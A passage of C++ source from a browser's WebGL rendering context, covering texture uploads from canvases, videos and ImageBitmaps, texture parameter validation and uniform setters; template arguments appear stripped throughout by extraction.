TexImageHelperHTMLImageElement(execution_context->GetSecurityOrigin(), kTexImage2D, target, level, internalformat, format, type, 0, 0, 0, image, SentinelEmptyRect(), 1, 0, exception_state); } bool WebGLRenderingContextBase::CanUseTexImageViaGPU(GLenum format, GLenum type) { #if defined(OS_MACOSX) // RGB5_A1 is not color-renderable on NVIDIA Mac, see crbug.com/676209. // Though, glCopyTextureCHROMIUM can handle RGB5_A1 internalformat by doing a // fallback path, but it doesn't know the type info. So, we still cannot do // the fallback path in glCopyTextureCHROMIUM for // RGBA/RGBA/UNSIGNED_SHORT_5_5_5_1 format and type combination. if (type == GL_UNSIGNED_SHORT_5_5_5_1) return false; #endif // TODO(kbr): continued bugs are seen on Linux with AMD's drivers handling // uploads to R8UI textures. crbug.com/710673 if (format == GL_RED_INTEGER) return false; #if defined(OS_ANDROID) // TODO(kbr): bugs were seen on Android devices with NVIDIA GPUs // when copying hardware-accelerated video textures to // floating-point textures. Investigate the root cause of this and // fix it. crbug.com/710874 if (type == GL_FLOAT) return false; #endif // OES_texture_half_float doesn't support HALF_FLOAT_OES type for // CopyTexImage/CopyTexSubImage. And OES_texture_half_float doesn't require // HALF_FLOAT_OES type texture to be renderable. So, HALF_FLOAT_OES type // texture cannot be copied to or drawn to by glCopyTextureCHROMIUM. if (type == GL_HALF_FLOAT_OES) return false; return true; } void WebGLRenderingContextBase::TexImageViaGPU( TexImageFunctionID function_id, WebGLTexture* texture, GLenum target, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, AcceleratedStaticBitmapImage* source_image, WebGLRenderingContextBase* source_canvas_webgl_context, const IntRect& source_sub_rectangle, bool premultiply_alpha, bool flip_y) { bool have_source_image = source_image; bool have_source_canvas_webgl_context = source_canvas_webgl_context; DCHECK(have_source_image ^ have_source_canvas_webgl_context); int width = source_sub_rectangle.Width(); int height = source_sub_rectangle.Height(); ScopedTexture2DRestorer restorer(this); GLuint target_texture = texture->Object(); bool possible_direct_copy = false; if (function_id == kTexImage2D || function_id == kTexSubImage2D) { possible_direct_copy = Extensions3DUtil::CanUseCopyTextureCHROMIUM(target); } GLint copy_x_offset = xoffset; GLint copy_y_offset = yoffset; GLenum copy_target = target; // if direct copy is not possible, create a temporary texture and then copy // from canvas to temporary texture to target texture. if (!possible_direct_copy) { ContextGL()->GenTextures(1, &target_texture); ContextGL()->BindTexture(GL_TEXTURE_2D, target_texture); ContextGL()->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); ContextGL()->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); ContextGL()->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); ContextGL()->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); ContextGL()->TexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, width, height, 0, GL_RGBA, GL_UNSIGNED_BYTE, nullptr); copy_x_offset = 0; copy_y_offset = 0; copy_target = GL_TEXTURE_2D; } { // glCopyTextureCHROMIUM has a DRAW_AND_READBACK path which will call // texImage2D. So, reset unpack buffer parameters before that. ScopedUnpackParametersResetRestore temporaryResetUnpack(this); if (source_image) { source_image->CopyToTexture( ContextGL(), target, target_texture, level, premultiply_alpha, flip_y, IntPoint(xoffset, yoffset), source_sub_rectangle); } else { WebGLRenderingContextBase* gl = source_canvas_webgl_context; if (gl->is_origin_top_left_ && !canvas()->LowLatencyEnabled()) flip_y = !flip_y; ScopedTexture2DRestorer inner_restorer(gl); if (!gl->GetDrawingBuffer()->CopyToPlatformTexture( ContextGL(), target, target_texture, level, unpack_premultiply_alpha_, !flip_y, IntPoint(xoffset, yoffset), source_sub_rectangle, kBackBuffer)) { NOTREACHED(); } } } if (!possible_direct_copy) { GLuint tmp_fbo; ContextGL()->GenFramebuffers(1, &tmp_fbo); ContextGL()->BindFramebuffer(GL_FRAMEBUFFER, tmp_fbo); ContextGL()->FramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, target_texture, 0); ContextGL()->BindTexture(texture->GetTarget(), texture->Object()); if (function_id == kTexImage2D) { ContextGL()->CopyTexSubImage2D(target, level, 0, 0, 0, 0, width, height); } else if (function_id == kTexSubImage2D) { ContextGL()->CopyTexSubImage2D(target, level, xoffset, yoffset, 0, 0, width, height); } else if (function_id == kTexSubImage3D) { ContextGL()->CopyTexSubImage3D(target, level, xoffset, yoffset, zoffset, 0, 0, width, height); } ContextGL()->FramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, 0, 0); RestoreCurrentFramebuffer(); ContextGL()->DeleteFramebuffers(1, &tmp_fbo); ContextGL()->DeleteTextures(1, &target_texture); } } void WebGLRenderingContextBase::TexImageHelperCanvasRenderingContextHost( const SecurityOrigin* security_origin, TexImageFunctionID function_id, GLenum target, GLint level, GLint internalformat, GLenum format, GLenum type, GLint xoffset, GLint yoffset, GLint zoffset, CanvasRenderingContextHost* context_host, const IntRect& source_sub_rectangle, GLsizei depth, GLint unpack_image_height, ExceptionState& exception_state) { const char* func_name = GetTexImageFunctionName(function_id); if (isContextLost()) return; if (!ValidateCanvasRenderingContextHost(security_origin, func_name, context_host, exception_state)) return; WebGLTexture* texture = ValidateTexImageBinding(func_name, function_id, target); if (!texture) return; TexImageFunctionType function_type; if (function_id == kTexImage2D) function_type = kTexImage; else function_type = kTexSubImage; if (!ValidateTexFunc(func_name, function_type, kSourceHTMLCanvasElement, target, level, internalformat, source_sub_rectangle.Width(), source_sub_rectangle.Height(), depth, 0, format, type, xoffset, yoffset, zoffset)) return; // Note that the sub-rectangle validation is needed for the GPU-GPU // copy case, but is redundant for the software upload case // (texImageImpl). bool selecting_sub_rectangle = false; if (!ValidateTexImageSubRectangle( func_name, function_id, context_host, source_sub_rectangle, depth, unpack_image_height, &selecting_sub_rectangle)) { return; } bool is_webgl_canvas = context_host->Is3d(); WebGLRenderingContextBase* source_canvas_webgl_context = nullptr; SourceImageStatus source_image_status = kInvalidSourceImageStatus; scoped_refptr image; bool upload_via_gpu = (function_id == kTexImage2D || function_id == kTexSubImage2D) && CanUseTexImageViaGPU(format, type); // The Image-based upload path may still be used for WebGL-rendered // canvases in the case of driver bug workarounds // (e.g. CanUseTexImageViaGPU returning false). if (is_webgl_canvas && upload_via_gpu) { source_canvas_webgl_context = To(context_host->RenderingContext()); } else { image = context_host->GetSourceImageForCanvas( &source_image_status, kPreferAcceleration, FloatSize(source_sub_rectangle.Width(), source_sub_rectangle.Height())); if (source_image_status != kNormalSourceImageStatus) return; } // Still not clear whether we will take the accelerated upload path // at this point; it depends on what came back from // CanUseTexImageViaGPU, for example. upload_via_gpu &= source_canvas_webgl_context || (image->IsStaticBitmapImage() && image->IsTextureBacked()); if (upload_via_gpu) { AcceleratedStaticBitmapImage* accel_image = nullptr; if (image) { accel_image = static_cast( ToStaticBitmapImage(image.get())); } // The GPU-GPU copy path uses the Y-up coordinate system. IntRect adjusted_source_sub_rectangle = source_sub_rectangle; bool should_adjust_source_sub_rectangle = !unpack_flip_y_; if (is_origin_top_left_ && source_canvas_webgl_context) should_adjust_source_sub_rectangle = !should_adjust_source_sub_rectangle; if (should_adjust_source_sub_rectangle) { adjusted_source_sub_rectangle.SetY(context_host->Size().Height() - adjusted_source_sub_rectangle.MaxY()); } if (function_id == kTexImage2D) { TexImage2DBase(target, level, internalformat, source_sub_rectangle.Width(), source_sub_rectangle.Height(), 0, format, type, nullptr); TexImageViaGPU(function_id, texture, target, level, 0, 0, 0, accel_image, source_canvas_webgl_context, adjusted_source_sub_rectangle, unpack_premultiply_alpha_, unpack_flip_y_); } else { TexImageViaGPU(function_id, texture, target, level, xoffset, yoffset, 0, accel_image, source_canvas_webgl_context, adjusted_source_sub_rectangle, unpack_premultiply_alpha_, unpack_flip_y_); } } else { // If these are the 2D functions, the caller must have passed in 1 // for the depth and 0 for the unpack_image_height. DCHECK(!(function_id == kTexSubImage2D || function_id == kTexSubImage2D) || (depth == 1 && unpack_image_height == 0)); // We expect an Image at this point, not a WebGL-rendered canvas. DCHECK(image); // TODO(crbug.com/612542): Implement GPU-to-GPU copy path for more // cases, like copying to layers of 3D textures, and elements of // 2D texture arrays. bool flip_y = unpack_flip_y_; if (is_origin_top_left_ && is_webgl_canvas) flip_y = !flip_y; TexImageImpl(function_id, target, level, internalformat, xoffset, yoffset, zoffset, format, type, image.get(), WebGLImageConversion::kHtmlDomCanvas, flip_y, unpack_premultiply_alpha_, source_sub_rectangle, depth, unpack_image_height); } } void WebGLRenderingContextBase::texImage2D( ExecutionContext* execution_context, GLenum target, GLint level, GLint internalformat, GLenum format, GLenum type, CanvasRenderingContextHost* context_host, ExceptionState& exception_state) { TexImageHelperCanvasRenderingContextHost( execution_context->GetSecurityOrigin(), kTexImage2D, target, level, internalformat, format, type, 0, 0, 0, context_host, GetTextureSourceSize(context_host), 1, 0, exception_state); } scoped_refptr WebGLRenderingContextBase::VideoFrameToImage( HTMLVideoElement* video, int already_uploaded_id, WebMediaPlayer::VideoFrameUploadMetadata* out_metadata) { const IntSize& visible_size = video->videoVisibleSize(); if (visible_size.IsEmpty()) { SynthesizeGLError(GL_INVALID_VALUE, "tex(Sub)Image2D", "video visible size is empty"); return nullptr; } CanvasResourceProvider* resource_provider = generated_image_cache_.GetCanvasResourceProvider(visible_size); if (!resource_provider) { SynthesizeGLError(GL_OUT_OF_MEMORY, "texImage2D", "out of memory"); return nullptr; } IntRect dest_rect(0, 0, visible_size.Width(), visible_size.Height()); video->PaintCurrentFrame(resource_provider->Canvas(), dest_rect, nullptr, already_uploaded_id, out_metadata); return resource_provider->Snapshot(); } void WebGLRenderingContextBase::TexImageHelperHTMLVideoElement( const SecurityOrigin* security_origin, TexImageFunctionID function_id, GLenum target, GLint level, GLint internalformat, GLenum format, GLenum type, GLint xoffset, GLint yoffset, GLint zoffset, HTMLVideoElement* video, const IntRect& source_image_rect, GLsizei depth, GLint unpack_image_height, ExceptionState& exception_state) { const char* func_name = GetTexImageFunctionName(function_id); if (isContextLost()) return; if (!ValidateHTMLVideoElement(security_origin, func_name, video, exception_state)) return; WebGLTexture* texture = ValidateTexImageBinding(func_name, function_id, target); if (!texture) return; TexImageFunctionType function_type; if (function_id == kTexImage2D || function_id == kTexImage3D) function_type = kTexImage; else function_type = kTexSubImage; if (!ValidateTexFunc(func_name, function_type, kSourceHTMLVideoElement, target, level, internalformat, video->videoWidth(), video->videoHeight(), 1, 0, format, type, xoffset, yoffset, zoffset)) return; GLint adjusted_internalformat = ConvertTexInternalFormat(internalformat, type); // For WebGL last-uploaded-frame-metadata API. https://crbug.com/639174 WebMediaPlayer::VideoFrameUploadMetadata frame_metadata = {}; int already_uploaded_id = -1; WebMediaPlayer::VideoFrameUploadMetadata* frame_metadata_ptr = nullptr; if (RuntimeEnabledFeatures::ExtraWebGLVideoTextureMetadataEnabled()) { already_uploaded_id = texture->GetLastUploadedVideoFrameId(); frame_metadata_ptr = &frame_metadata; } if (!source_image_rect.IsValid()) { SynthesizeGLError(GL_INVALID_OPERATION, func_name, "source sub-rectangle specified via pixel unpack " "parameters is invalid"); return; } bool source_image_rect_is_default = source_image_rect == SentinelEmptyRect() || source_image_rect == IntRect(0, 0, video->videoWidth(), video->videoHeight()); const auto& caps = GetDrawingBuffer()->ContextProvider()->GetCapabilities(); const bool may_need_image_external_essl3 = caps.egl_image_external && Extensions3DUtil::CopyTextureCHROMIUMNeedsESSL3(internalformat); const bool have_image_external_essl3 = caps.egl_image_external_essl3; const bool use_copyTextureCHROMIUM = function_id == kTexImage2D && source_image_rect_is_default && depth == 1 && GL_TEXTURE_2D == target && (have_image_external_essl3 || !may_need_image_external_essl3) && CanUseTexImageViaGPU(format, type); // Format of source video may be 16-bit format, e.g. Y16 format. // glCopyTextureCHROMIUM requires the source texture to be in 8-bit format. // Converting 16-bits formated source texture to 8-bits formated texture will // cause precision lost. So, uploading such video texture to half float or // float texture can not use GPU-GPU path. if (use_copyTextureCHROMIUM) { DCHECK(Extensions3DUtil::CanUseCopyTextureCHROMIUM(target)); DCHECK_EQ(xoffset, 0); DCHECK_EQ(yoffset, 0); DCHECK_EQ(zoffset, 0); // Go through the fast path doing a GPU-GPU textures copy without a readback // to system memory if possible. Otherwise, it will fall back to the normal // SW path. if (video->CopyVideoTextureToPlatformTexture( ContextGL(), target, texture->Object(), adjusted_internalformat, format, type, level, unpack_premultiply_alpha_, unpack_flip_y_, already_uploaded_id, frame_metadata_ptr)) { texture->UpdateLastUploadedFrame(frame_metadata); return; } // For certain video frame formats (e.g. I420/YUV), if they start on the CPU // (e.g. video camera frames): upload them to the GPU, do a GPU decode, and // then copy into the target texture. if (video->CopyVideoYUVDataToPlatformTexture( ContextGL(), target, texture->Object(), adjusted_internalformat, format, type, level, unpack_premultiply_alpha_, unpack_flip_y_, already_uploaded_id, frame_metadata_ptr)) { texture->UpdateLastUploadedFrame(frame_metadata); return; } } if (source_image_rect_is_default) { // Try using optimized CPU-GPU path for some formats: e.g. Y16 and Y8. It // leaves early for other formats or if frame is stored on GPU. ScopedUnpackParametersResetRestore( this, unpack_flip_y_ || unpack_premultiply_alpha_); if (video->TexImageImpl( static_cast(function_id), target, ContextGL(), texture->Object(), level, adjusted_internalformat, format, type, xoffset, yoffset, zoffset, unpack_flip_y_, unpack_premultiply_alpha_ && unpack_colorspace_conversion_ == GL_NONE)) { texture->ClearLastUploadedFrame(); return; } } scoped_refptr image = VideoFrameToImage(video, already_uploaded_id, frame_metadata_ptr); if (!image) return; TexImageImpl(function_id, target, level, adjusted_internalformat, xoffset, yoffset, zoffset, format, type, image.get(), WebGLImageConversion::kHtmlDomVideo, unpack_flip_y_, unpack_premultiply_alpha_, source_image_rect, depth, unpack_image_height); texture->UpdateLastUploadedFrame(frame_metadata); } void WebGLRenderingContextBase::texImage2D(ExecutionContext* execution_context, GLenum target, GLint level, GLint internalformat, GLenum format, GLenum type, HTMLVideoElement* video, ExceptionState& exception_state) { TexImageHelperHTMLVideoElement(execution_context->GetSecurityOrigin(), kTexImage2D, target, level, internalformat, format, type, 0, 0, 0, video, SentinelEmptyRect(), 1, 0, exception_state); } void WebGLRenderingContextBase::TexImageHelperImageBitmap( TexImageFunctionID function_id, GLenum target, GLint level, GLint internalformat, GLenum format, GLenum type, GLint xoffset, GLint yoffset, GLint zoffset, ImageBitmap* bitmap, const IntRect& source_sub_rect, GLsizei depth, GLint unpack_image_height, ExceptionState& exception_state) { const char* func_name = GetTexImageFunctionName(function_id); if (isContextLost()) return; if (!ValidateImageBitmap(func_name, bitmap, exception_state)) return; WebGLTexture* texture = ValidateTexImageBinding(func_name, function_id, target); if (!texture) return; bool selecting_sub_rectangle = false; if (!ValidateTexImageSubRectangle(func_name, function_id, bitmap, source_sub_rect, depth, unpack_image_height, &selecting_sub_rectangle)) { return; } TexImageFunctionType function_type; if (function_id == kTexImage2D) function_type = kTexImage; else function_type = kTexSubImage; GLsizei width = source_sub_rect.Width(); GLsizei height = source_sub_rect.Height(); if (!ValidateTexFunc(func_name, function_type, kSourceImageBitmap, target, level, internalformat, width, height, depth, 0, format, type, xoffset, yoffset, zoffset)) return; scoped_refptr image = bitmap->BitmapImage(); DCHECK(image); // TODO(kbr): make this work for sub-rectangles of ImageBitmaps. if (function_id != kTexSubImage3D && function_id != kTexImage3D && image->IsTextureBacked() && CanUseTexImageViaGPU(format, type) && !selecting_sub_rectangle) { AcceleratedStaticBitmapImage* accel_image = static_cast(image.get()); // We hard-code premultiply_alpha and flip_y values because these should // have already been manipulated during construction of the ImageBitmap. bool premultiply_alpha = true; // TODO(kbr): this looks wrong! bool flip_y = false; if (function_id == kTexImage2D) { TexImage2DBase(target, level, internalformat, width, height, 0, format, type, nullptr); TexImageViaGPU(function_id, texture, target, level, 0, 0, 0, accel_image, nullptr, source_sub_rect, premultiply_alpha, flip_y); } else if (function_id == kTexSubImage2D) { TexImageViaGPU(function_id, texture, target, level, xoffset, yoffset, 0, accel_image, nullptr, source_sub_rect, premultiply_alpha, flip_y); } return; } // TODO(kbr): refactor this away to use TexImageImpl on image. sk_sp sk_image = bitmap->BitmapImage()->PaintImageForCurrentFrame().GetSkImage(); if (!sk_image) { SynthesizeGLError(GL_OUT_OF_MEMORY, func_name, "ImageBitmap unexpectedly empty"); return; } SkPixmap pixmap; uint8_t* pixel_data_ptr = nullptr; Vector pixel_data; // In the case where an ImageBitmap is not texture backed, peekPixels() always // succeed. However, when it is texture backed and !canUseTexImageByGPU, we // do a GPU read back. bool peek_succeed = sk_image->peekPixels(&pixmap); if (peek_succeed) { pixel_data_ptr = static_cast(pixmap.writable_addr()); } else { pixel_data = bitmap->CopyBitmapData( bitmap->IsPremultiplied() ? kPremultiplyAlpha : kUnpremultiplyAlpha); pixel_data_ptr = pixel_data.data(); } Vector data; bool need_conversion = true; bool have_peekable_rgba = (peek_succeed && pixmap.colorType() == SkColorType::kRGBA_8888_SkColorType); bool is_pixel_data_rgba = (have_peekable_rgba || !peek_succeed); if (is_pixel_data_rgba && format == GL_RGBA && type == GL_UNSIGNED_BYTE && !selecting_sub_rectangle && depth == 1) { need_conversion = false; } else { if (type == GL_UNSIGNED_INT_10F_11F_11F_REV) { // The UNSIGNED_INT_10F_11F_11F_REV type pack/unpack isn't implemented. type = GL_FLOAT; } // In the case of ImageBitmap, we do not need to apply flipY or // premultiplyAlpha. bool is_pixel_data_bgra = pixmap.colorType() == SkColorType::kBGRA_8888_SkColorType; if ((is_pixel_data_bgra && !WebGLImageConversion::ExtractImageData( pixel_data_ptr, WebGLImageConversion::DataFormat::kDataFormatBGRA8, bitmap->Size(), source_sub_rect, depth, unpack_image_height, format, type, false, false, data)) || (is_pixel_data_rgba && !WebGLImageConversion::ExtractImageData( pixel_data_ptr, WebGLImageConversion::DataFormat::kDataFormatRGBA8, bitmap->Size(), source_sub_rect, depth, unpack_image_height, format, type, false, false, data))) { SynthesizeGLError(GL_INVALID_VALUE, func_name, "bad image data"); return; } } ScopedUnpackParametersResetRestore temporary_reset_unpack(this); if (function_id == kTexImage2D) { TexImage2DBase(target, level, internalformat, width, height, 0, format, type, need_conversion ? data.data() : pixel_data_ptr); } else if (function_id == kTexSubImage2D) { ContextGL()->TexSubImage2D(target, level, xoffset, yoffset, width, height, format, type, need_conversion ? data.data() : pixel_data_ptr); } else if (function_id == kTexImage3D) { ContextGL()->TexImage3D(target, level, internalformat, width, height, depth, 0, format, type, need_conversion ? data.data() : pixel_data_ptr); } else { DCHECK_EQ(function_id, kTexSubImage3D); ContextGL()->TexSubImage3D(target, level, xoffset, yoffset, zoffset, width, height, depth, format, type, need_conversion ? data.data() : pixel_data_ptr); } } void WebGLRenderingContextBase::texImage2D(GLenum target, GLint level, GLint internalformat, GLenum format, GLenum type, ImageBitmap* bitmap, ExceptionState& exception_state) { TexImageHelperImageBitmap(kTexImage2D, target, level, internalformat, format, type, 0, 0, 0, bitmap, GetTextureSourceSize(bitmap), 1, 0, exception_state); } void WebGLRenderingContextBase::TexParameter(GLenum target, GLenum pname, GLfloat paramf, GLint parami, bool is_float) { if (isContextLost()) return; if (!ValidateTextureBinding("texParameter", target)) return; switch (pname) { case GL_TEXTURE_MIN_FILTER: if (target == GL_TEXTURE_VIDEO_IMAGE_WEBGL) { if ((is_float && paramf != GL_NEAREST && paramf != GL_LINEAR) || (!is_float && parami != GL_NEAREST && parami != GL_LINEAR)) { SynthesizeGLError(GL_INVALID_ENUM, "texParameter", "invalid parameter name"); return; } } break; case GL_TEXTURE_MAG_FILTER: break; case GL_TEXTURE_WRAP_R: if (!IsWebGL2OrHigher()) { SynthesizeGLError(GL_INVALID_ENUM, "texParameter", "invalid parameter name"); return; } FALLTHROUGH; case GL_TEXTURE_WRAP_S: case GL_TEXTURE_WRAP_T: if ((is_float && paramf != GL_CLAMP_TO_EDGE && paramf != GL_MIRRORED_REPEAT && paramf != GL_REPEAT) || (!is_float && parami != GL_CLAMP_TO_EDGE && parami != GL_MIRRORED_REPEAT && parami != GL_REPEAT)) { SynthesizeGLError(GL_INVALID_ENUM, "texParameter", "invalid parameter"); return; } if (target == GL_TEXTURE_VIDEO_IMAGE_WEBGL) { if ((is_float && paramf != GL_CLAMP_TO_EDGE) || (!is_float && parami != GL_CLAMP_TO_EDGE)) { SynthesizeGLError(GL_INVALID_ENUM, "texParameter", "invalid parameter"); return; } } break; case GL_TEXTURE_MAX_ANISOTROPY_EXT: // EXT_texture_filter_anisotropic if (!ExtensionEnabled(kEXTTextureFilterAnisotropicName)) { SynthesizeGLError( GL_INVALID_ENUM, "texParameter", "invalid parameter, EXT_texture_filter_anisotropic not enabled"); return; } break; case GL_TEXTURE_COMPARE_FUNC: case GL_TEXTURE_COMPARE_MODE: case GL_TEXTURE_BASE_LEVEL: case GL_TEXTURE_MAX_LEVEL: case GL_TEXTURE_MAX_LOD: case GL_TEXTURE_MIN_LOD: if (!IsWebGL2OrHigher()) { SynthesizeGLError(GL_INVALID_ENUM, "texParameter", "invalid parameter name"); return; } break; default: SynthesizeGLError(GL_INVALID_ENUM, "texParameter", "invalid parameter name"); return; } if (is_float) { ContextGL()->TexParameterf(target, pname, paramf); } else { ContextGL()->TexParameteri(target, pname, parami); } } void WebGLRenderingContextBase::texParameterf(GLenum target, GLenum pname, GLfloat param) { TexParameter(target, pname, param, 0, true); } void WebGLRenderingContextBase::texParameteri(GLenum target, GLenum pname, GLint param) { TexParameter(target, pname, 0, param, false); } void WebGLRenderingContextBase::texSubImage2D( GLenum target, GLint level, GLint xoffset, GLint yoffset, GLsizei width, GLsizei height, GLenum format, GLenum type, MaybeShared pixels) { TexImageHelperDOMArrayBufferView(kTexSubImage2D, target, level, 0, width, height, 1, 0, format, type, xoffset, yoffset, 0, pixels.View(), kNullNotAllowed, 0); } void WebGLRenderingContextBase::texSubImage2D(GLenum target, GLint level, GLint xoffset, GLint yoffset, GLenum format, GLenum type, ImageData* pixels) { TexImageHelperImageData(kTexSubImage2D, target, level, 0, 0, format, type, 1, xoffset, yoffset, 0, pixels, GetImageDataSize(pixels), 0); } void WebGLRenderingContextBase::texSubImage2D( ExecutionContext* execution_context, GLenum target, GLint level, GLint xoffset, GLint yoffset, GLenum format, GLenum type, HTMLImageElement* image, ExceptionState& exception_state) { TexImageHelperHTMLImageElement(execution_context->GetSecurityOrigin(), kTexSubImage2D, target, level, 0, format, type, xoffset, yoffset, 0, image, SentinelEmptyRect(), 1, 0, exception_state); } void WebGLRenderingContextBase::texSubImage2D( ExecutionContext* execution_context, GLenum target, GLint level, GLint xoffset, GLint yoffset, GLenum format, GLenum type, CanvasRenderingContextHost* context_host, ExceptionState& exception_state) { TexImageHelperCanvasRenderingContextHost( execution_context->GetSecurityOrigin(), kTexSubImage2D, target, level, 0, format, type, xoffset, yoffset, 0, context_host, GetTextureSourceSize(context_host), 1, 0, exception_state); } void WebGLRenderingContextBase::texSubImage2D( ExecutionContext* execution_context, GLenum target, GLint level, GLint xoffset, GLint yoffset, GLenum format, GLenum type, HTMLVideoElement* video, ExceptionState& exception_state) { TexImageHelperHTMLVideoElement(execution_context->GetSecurityOrigin(), kTexSubImage2D, target, level, 0, format, type, xoffset, yoffset, 0, video, SentinelEmptyRect(), 1, 0, exception_state); } void WebGLRenderingContextBase::texSubImage2D(GLenum target, GLint level, GLint xoffset, GLint yoffset, GLenum format, GLenum type, ImageBitmap* bitmap, ExceptionState& exception_state) { TexImageHelperImageBitmap( kTexSubImage2D, target, level, 0, format, type, xoffset, yoffset, 0, bitmap, GetTextureSourceSize(bitmap), 1, 0, exception_state); } void WebGLRenderingContextBase::uniform1f(const WebGLUniformLocation* location, GLfloat x) { if (isContextLost() || !location) return; if (location->Program() != current_program_) { SynthesizeGLError(GL_INVALID_OPERATION, "uniform1f", "location not for current program"); return; } ContextGL()->Uniform1f(location->Location(), x); } void WebGLRenderingContextBase::uniform1fv(const WebGLUniformLocation* location, const FlexibleFloat32Array& v) { if (isContextLost() || !ValidateUniformParameters("uniform1fv", location, v, 1, 0, v.lengthAsSizeT())) return; ContextGL()->Uniform1fv(location->Location(), base::checked_cast(v.lengthAsSizeT()), v.DataMaybeOnStack()); } void WebGLRenderingContextBase::uniform1fv(const WebGLUniformLocation* location, Vector& v) { if (isContextLost() || !ValidateUniformParameters("uniform1fv", location, v.data(), v.size(), 1, 0, v.size())) return; ContextGL()->Uniform1fv(location->Location(), v.size(), v.data()); } void WebGLRenderingContextBase::uniform1i(const WebGLUniformLocation* location, GLint x) { if (isContextLost() || !location) return; if (location->Program() != current_program_) { SynthesizeGLError(GL_INVALID_OPERATION, "uniform1i", "location not for current program"); return; } ContextGL()->Uniform1i(location->Location(), x); } void WebGLRenderingContextBase::uniform1iv(const WebGLUniformLocation* location, const FlexibleInt32Array& v) { if (isContextLost() || !ValidateUniformParameters("uniform1iv", location, v, 1, 0, v.lengthAsSizeT())) return; ContextGL()->Uniform1iv(location->Location(), base::checked_cast(v.lengthAsSizeT()), v.DataMaybeOnStack()); } void WebGLRenderingContextBase::uniform1iv(const WebGLUniformLocation* location, Vector& v) { if (isContextLost() || !ValidateUniformParameters("uniform1iv", location, v.data(), v.size(), 1, 0, v.size())) return; ContextGL()->Uniform1iv(location->Location(), v.size(), v.data()); } void WebGLRenderingContextBase::uniform2f(const WebGLUniformLocation* location, GLfloat x, GLfloat y) { if (isContextLost() || !location) return; if (location->Program() != current_program_) { SynthesizeGLError(GL_INVALID_OPERATION, "uniform2f", "location not for current program"); return; } ContextGL()->Uniform2f(location->Location(), x, y); } void WebGLRenderingContextBase::uniform2fv(const WebGLUniformLocation* location, const FlexibleFloat32Array& v) { if (isContextLost() || !ValidateUniformParameters("uniform2fv", location, v, 2, 0, v.lengthAsSizeT())) return; ContextGL()->Uniform2fv(location->Location(), base::checked_cast(v.lengthAsSizeT()) >> 1, v.DataMaybeOnStack()); } void WebGLRenderingContextBase::uniform2fv(const WebGLUniformLocation* location, Vector& v) { if (isContextLost() || !ValidateUniformParameters("uniform2fv", location, v.data(), v.size(), 2, 0, v.size())) return; ContextGL()->Uniform2fv(location->Location(), v.size() >> 1, v.data()); } void WebGLRenderingContextBase::uniform2i(const WebGLUniformLocation* location, GLint x, GLint y) { if (isContextLost() || !location) return; if (location->Program() != current_program_) { SynthesizeGLError(GL_INVALID_OPERATION, "uniform2i", "location not for current program"); return; } ContextGL()->Uniform2i(location->Location(), x, y); } void WebGLRenderingContextBase::uniform2iv(const WebGLUniformLocation* location, const FlexibleInt32Array& v) { if (isContextLost() || !ValidateUniformParameters("uniform2iv", location, v, 2, 0, v.lengthAsSizeT())) return; ContextGL()->Uniform2iv(location->Location(), base::checked_cast(v.lengthAsSizeT()) >> 1, v.DataMaybeOnStack()); } void WebGLRenderingContextBase::uniform2iv(const WebGLUniformLocation* location, Vector& v) { if (isContextLost() || !ValidateUniformParameters("uniform2iv", location, v.data(), v.size(), 2, 0, v.size())) return; ContextGL()->Uniform2iv(location->Location(), v.size() >> 1, v.data()); } void WebGLRenderingContextBase::uniform3f(const WebGLUniformLocation* location, GLfloat x, GLfloat y, GLfloat z) { if (isContextLost() || !location) return; if (location->Program() != current_program_) { SynthesizeGLError(GL_INVALID_OPERATION, "uniform3f", "location not for current program"); return; } ContextGL()->Uniform3f(location->Location(), x, y, z); } void WebGLRenderingContextBase::uniform3fv(const WebGLUniformLocation* location, const FlexibleFloat32Array& v) { if (isContextLost() || !ValidateUniformParameters("uniform3fv", location, v, 3, 0, v.lengthAsSizeT())) return; ContextGL()->Uniform3fv(location->Location(), base::checked_cast(v.lengthAsSizeT()) / 3, v.DataMaybeOnStack()); } void WebGLRenderingContextBase::uniform3fv(const WebGLUniformLocation* location, Vector& v) { if (isContextLost() || !ValidateUniformParameters("uniform3fv", location, v.data(), v.size(), 3, 0, v.size())) return; ContextGL()->Uniform3fv(location->Location(), v.size() / 3, v.data()); } void WebGLRenderingContextBase::uniform3i(const WebGLUniformLocation* location, GLint x, GLint y, GLint z) { if (isContextLost() || !location) return; if (location->Program() != current_program_) { SynthesizeGLError(GL_INVALID_OPERATION, "uniform3i", "location not for current program"); return; } ContextGL()->Uniform3i(location->Location(), x, y, z); } void WebGLRenderingContextBase::uniform3iv(const WebGLUniformLocation* location, const FlexibleInt32Array& v) { if (isContextLost() || !ValidateUniformParameters("uniform3iv", location, v, 3, 0, v.lengthAsSizeT())) return; ContextGL()->Uniform3iv(location->Location(), base::checked_cast(v.lengthAsSizeT()) / 3, v.DataMaybeOnStack()); } void WebGLRenderingContextBase::uniform3iv(const WebGLUniformLocation* location, Vector& v) { if (isContextLost() || !ValidateUniformParameters("uniform3iv", location, v.data(), v.size(), 3, 0, v.size())) return; ContextGL()->Uniform3iv(location->Location(), v.size() / 3, v.data()); } void WebGLRenderingContextBase::uniform4f(const WebGLUniformLocation* location, GLfloat x, GLfloat y, GLfloat z, GLfloat w) { if (isContextLost() || !location) return; if (location->Program() != current_program_) { SynthesizeGLError(GL_INVALID_OPERATION, "uniform4f", "location not for current program"); return; } ContextGL()->Uniform4f(location->Location(), x, y, z, w); } void WebGLRenderingContextBase::uniform4fv(const WebGLUniformLocation* location, const FlexibleFloat32Array& v) { if (isContextLost() || !ValidateUniformParameters("uniform4fv", location, v, 4, 0, v.lengthAsSizeT())) return; ContextGL()->Uniform4fv(location->Location(), base::checked_cast(v.lengthAsSizeT()) >> 2, v.DataMaybeOnStack()); } void WebGLRenderingContextBase::uniform4fv(const WebGLUniformLocation* location, Vector& v) { if (isContextLost() || !ValidateUniformParameters("uniform4fv", location, v.data(), v.size(), 4, 0, v.size())) return; 